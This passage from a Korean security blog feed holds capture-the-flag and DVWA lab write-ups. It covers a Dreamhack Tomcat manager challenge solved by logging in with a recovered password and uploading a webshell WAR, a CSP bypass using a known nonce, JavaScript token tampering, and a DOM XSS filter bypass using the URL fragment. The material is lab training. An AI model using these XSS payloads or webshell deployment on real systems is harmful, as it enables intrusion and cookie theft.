data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;아까와는 다르게 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;를 획득할 수 있었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그럼 이걸 관리자페이지로 접근해야 하는 것 같은데 &lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;phpmyadmin&lt;/span&gt;&lt;span&gt;같은 페이지는 알았지만&lt;/span&gt;&lt;span&gt;, tomcat&lt;/span&gt;&lt;span&gt;은 몰라서 구글링해보니 &lt;/span&gt;&lt;span&gt;manager&lt;/span&gt;&lt;span&gt;였다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 &lt;/span&gt;&lt;span&gt;tomcat manager&lt;/span&gt;&lt;span&gt;였나보다 바로 &lt;/span&gt;&lt;span&gt;/manager&lt;/span&gt;&lt;span&gt;로 들어갔더니&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5638&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ88qF/btrWRW8AXsl/xxDs4l1ggFH0RDNM3IlfXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ88qF/btrWRW8AXsl/xxDs4l1ggFH0RDNM3IlfXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ88qF/btrWRW8AXsl/xxDs4l1ggFH0RDNM3IlfXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ88qF%2FbtrWRW8AXsl%2FxxDs4l1ggFH0RDNM3IlfXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;271&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;504710&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;1078904&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;비공개가 아닙니다&lt;/span&gt;&lt;span&gt;? &lt;/span&gt;&lt;span&gt;일단 아까 얻은 &lt;/span&gt;&lt;span&gt;tomcat/P2assw0rd_4_t0mC2tM2nag3r31337&lt;/span&gt;&lt;span&gt;로 로그인해봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5440&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mBpWG/btrWRPVZ6r6/9to1ZD25s53cDiFS2K1gDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mBpWG/btrWRPVZ6r6/9to1ZD25s53cDiFS2K1gDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mBpWG/btrWRPVZ6r6/9to1ZD25s53cDiFS2K1gDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmBpWG%2FbtrWRPVZ6r6%2F9to1ZD25s53cDiFS2K1gDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;279&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;로그인에 성공했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;톰캣은 &lt;/span&gt;&lt;span&gt;war&lt;/span&gt;&lt;span&gt;파일을 업로드할 수 있으니 &lt;/span&gt;&lt;span&gt;webshell.war&lt;/span&gt;&lt;span&gt;을 올려봤다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;258672&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;211&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yUaOL/btrWQ3UWUiE/3ZXms8D0QXfCaiYVBE2TEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yUaOL/btrWQ3UWUiE/3ZXms8D0QXfCaiYVBE2TEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yUaOL/btrWQ3UWUiE/3ZXms8D0QXfCaiYVBE2TEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyUaOL%2FbtrWQ3UWUiE%2F3ZXms8D0QXfCaiYVBE2TEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;211&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;211&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3lmoB/btrWU7ajm6L/6YWz3dtxpgkqwn1RrXYQM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3lmoB/btrWU7ajm6L/6YWz3dtxpgkqwn1RrXYQM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3lmoB/btrWU7ajm6L/6YWz3dtxpgkqwn1RrXYQM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3lmoB%2FbtrWU7ajm6L%2F6YWz3dtxpgkqwn1RrXYQM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;322&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;61638&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;606889&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;/webshell&lt;/span&gt;&lt;span&gt;로 정상적으로 업로드된 것을 알 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;들어가서 &lt;/span&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;를 요청하니&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2VQuf/btrWVKTDFc3/LetPxCHFJvwjFtSEjbqdYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2VQuf/btrWVKTDFc3/LetPxCHFJvwjFtSEjbqdYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2VQuf/btrWVKTDFc3/LetPxCHFJvwjFtSEjbqdYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2VQuf%2FbtrWVKTDFc3%2FLetPxCHFJvwjFtSEjbqdYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;127&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5601&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;27394&quot;&gt;&amp;nbsp;flag를 획득했다.&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;902384&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>dreamhack</category>
      <category>dreamhack tomcat manager</category>
      <category>tomcat manager</category>
      <category>wargame</category>
      <category>드림핵</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/84</guid>
      <comments>https://godturtle.tistory.com/84#entry84comment</comments>
      <pubDate>Sun, 22 Jan 2023 17:33:21 +0900</pubDate>
    </item>
    <item>
      <title>DVWA(medium) - CSP Bypass, JavaScript</title>
      <link>https://godturtle.tistory.com/24</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1. CSP Bypass&lt;/span&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byMk7Y/btrPQJIh1kC/Kh3Hpn2cKtKoS0r6PCtJdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byMk7Y/btrPQJIh1kC/Kh3Hpn2cKtKoS0r6PCtJdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byMk7Y/btrPQJIh1kC/Kh3Hpn2cKtKoS0r6PCtJdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyMk7Y%2FbtrPQJIh1kC%2FKh3Hpn2cKtKoS0r6PCtJdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;540&quot; height=&quot;88&quot; data-origin-width=&quot;540&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP를 우회하고 페이지의 자바스크립트를 실행하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;low때와 비교를 위해 소스코드를 보았다.&lt;/p&gt;
&lt;pre id=&quot;code_1667054543135&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

$headerCSP = &quot;Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';&quot;;

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header (&quot;X-XSS-Protection: 0&quot;);

# &amp;lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&amp;gt;alert(1)&amp;lt;/script&amp;gt;

?&amp;gt;
&amp;lt;?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= &quot;
    &quot; . $_POST['include'] . &quot;
&quot;;
}
$page[ 'body' ] .= '
&amp;lt;form name=&quot;csp&quot; method=&quot;POST&quot;&amp;gt;
    &amp;lt;p&amp;gt;Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.&amp;lt;/p&amp;gt;
    &amp;lt;input size=&quot;50&quot; type=&quot;text&quot; name=&quot;include&quot; value=&quot;&quot; id=&quot;include&quot; /&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;Include&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$headerCSP를 보면 unsafe-inline과 nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA= 라는 값을 줘서 이 값을 가지고있어야만 인라인 스크립트가 실행되도록 설정되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 인라인 스크립트에 위 해시값을 넣어 진행해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1667054755370&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPXQZ3/btrPQgT4gKv/aPVtElvshMSL4hyvZRxIFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPXQZ3/btrPQgT4gKv/aPVtElvshMSL4hyvZRxIFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPXQZ3/btrPQgT4gKv/aPVtElvshMSL4hyvZRxIFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPXQZ3%2FbtrPQgT4gKv%2FaPVtElvshMSL4hyvZRxIFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;353&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 쿠키값을 획득할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2. JavaScript&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;70&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwWJS8/btrPRdWzQ9B/jOm4RDFcnOJLeHqHavtvx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwWJS8/btrPRdWzQ9B/jOm4RDFcnOJLeHqHavtvx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwWJS8/btrPRdWzQ9B/jOm4RDFcnOJLeHqHavtvx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwWJS8%2FbtrPRdWzQ9B%2FjOm4RDFcnOJLeHqHavtvx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;70&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지에 포함된 자바스크립트를 분석하고 조작하여 보호를 우회하여 success를 제출하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트 코드를 먼저 보았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coS2rS/btrPVDUg6fy/9xcbEo3EyyW9C2s95ISCMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coS2rS/btrPVDUg6fy/9xcbEo3EyyW9C2s95ISCMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coS2rS/btrPVDUg6fy/9xcbEo3EyyW9C2s95ISCMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoS2rS%2FbtrPVDUg6fy%2F9xcbEo3EyyW9C2s95ISCMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;90&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1667055280727&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function do_something(e){
	for(var t=&quot;&quot;,n=e.length-1;n&amp;gt;=0;n--)
    		t+=e[n];
       		return t
}

setTimeout(function(){do_elsesomething(&quot;XX&quot;)},300);

function do_elsesomething(e){
	document.getElementById(&quot;token&quot;).value=do_something(e+document.getElementById(&quot;phrase&quot;).value+&quot;XX&quot;)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 자바스크립트 코드를 임의로 보기좋게 분리해놨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 do_somthing함수를 볼 수 있는데 뭔지 몰라서 알아봤더니 인자로 받은 문자열을 역순으로 재배치하는 함수였다. chageme를 인자로 받으면 emegahc로 재배치하는 함수인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;do_elsesomething을 보면 XX + 인자로 받은 문자열 + XX 이렇게 합친 후 마지막에 do_something함수를 사용하는 것을 알 수 있다. 즉 token의 값이 XX인자로받은문자열XX 의 역순으로 재배치된 값임을 알 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;change를 문자열로 보내보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wNiKQ/btrPQH4J43C/0fKWPGbKKTAfcj1WKtocTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wNiKQ/btrPQH4J43C/0fKWPGbKKTAfcj1WKtocTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wNiKQ/btrPQH4J43C/0fKWPGbKKTAfcj1WKtocTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwNiKQ%2FbtrPQH4J43C%2F0fKWPGbKKTAfcj1WKtocTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;547&quot; height=&quot;128&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰이 hidden으로 value=&quot;XXeMegnahCXX임을 확인할 수 있었다. 위에 분석한 내용과 일치한다. 그러면 value값에 문자열이 success입력된 것처럼 바꾸면 XXsseccusXX이다. 버프슈트로 패킷을 잡고 변조하여 보내보았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ4gnT/btrPQqI0Jl1/EwWFBSbkmfgEwJUOP5JIUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ4gnT/btrPQqI0Jl1/EwWFBSbkmfgEwJUOP5JIUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ4gnT/btrPQqI0Jl1/EwWFBSbkmfgEwJUOP5JIUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ4gnT%2FbtrPQqI0Jl1%2FEwWFBSbkmfgEwJUOP5JIUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;117&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;117&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rJBNE/btrPVEFFksi/7Lni69Ob50nxvBoKnzjtfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rJBNE/btrPVEFFksi/7Lni69Ob50nxvBoKnzjtfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rJBNE/btrPVEFFksi/7Lni69Ob50nxvBoKnzjtfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrJBNE%2FbtrPVEFFksi%2F7Lni69Ob50nxvBoKnzjtfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;176&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성공적으로 실행됨을 알 수 있었다.&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/DVWA</category>
      <category>CSP Bypass</category>
      <category>DVWA</category>
      <category>javascript</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/24</guid>
      <comments>https://godturtle.tistory.com/24#entry24comment</comments>
      <pubDate>Sat, 21 Jan 2023 08:19:28 +0900</pubDate>
    </item>
    <item>
      <title>DVWA(medium) - DOM XSS, Reflected XSS, Stored XSS</title>
      <link>https://godturtle.tistory.com/23</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1. XSS(DOM)&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;58&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2qvb1/btrPQrHS9tN/kRrCqr2IynxAPe3AYKl1F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2qvb1/btrPQrHS9tN/kRrCqr2IynxAPe3AYKl1F0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2qvb1/btrPQrHS9tN/kRrCqr2IynxAPe3AYKl1F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2qvb1%2FbtrPQrHS9tN%2FkRrCqr2IynxAPe3AYKl1F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;629&quot; height=&quot;58&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;58&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인한 사용자의 쿠키를 훔친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;low때는 &amp;lt;script&amp;gt;alert(&quot;1&quot;)&amp;lt;/script&amp;gt;만을 사용했었다. 그러나 medium에서는 실행되지 않았다.&lt;/p&gt;
&lt;pre id=&quot;code_1667050943644&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

// Is there any input?
if ( array_key_exists( &quot;default&quot;, $_GET ) &amp;amp;&amp;amp; !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, &quot;&amp;lt;script&quot;) !== false) {
        header (&quot;location: ?default=English&quot;);
        exit;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 확인해보니 &quot;&amp;lt;script&quot;를 대소문자에 상관없이 확인된다면 default=English로 이동하도록 하는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1667051071719&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://localhost/DVWA-master/vulnerabilities/xss_d/?default=#%3Cscript%3Ealert(1)%3C/script%3E&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 뒷부분을 #으로 주석처리한다면 실행이 되는 것을 알 수 있다. 이러한 이유는 서버에는 정상적인 html문서를 요청하고 서버에서도 정상적인 html문서를 응답하지만 #은 브라우저가 리로딩 없이 자바스크립트를 불러올 수 있기 때문에&amp;nbsp; #뒤에 스크립트문은 서버에 전송이 되지 않는다. 따라서 #뒤에 스크립트문이 실행됨을 알 수 있다. 그러면 이제 쿠키값을 받아보겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1667051416380&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;localhost/DVWA-master/vulnerabilities/xss_d/?default=#&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
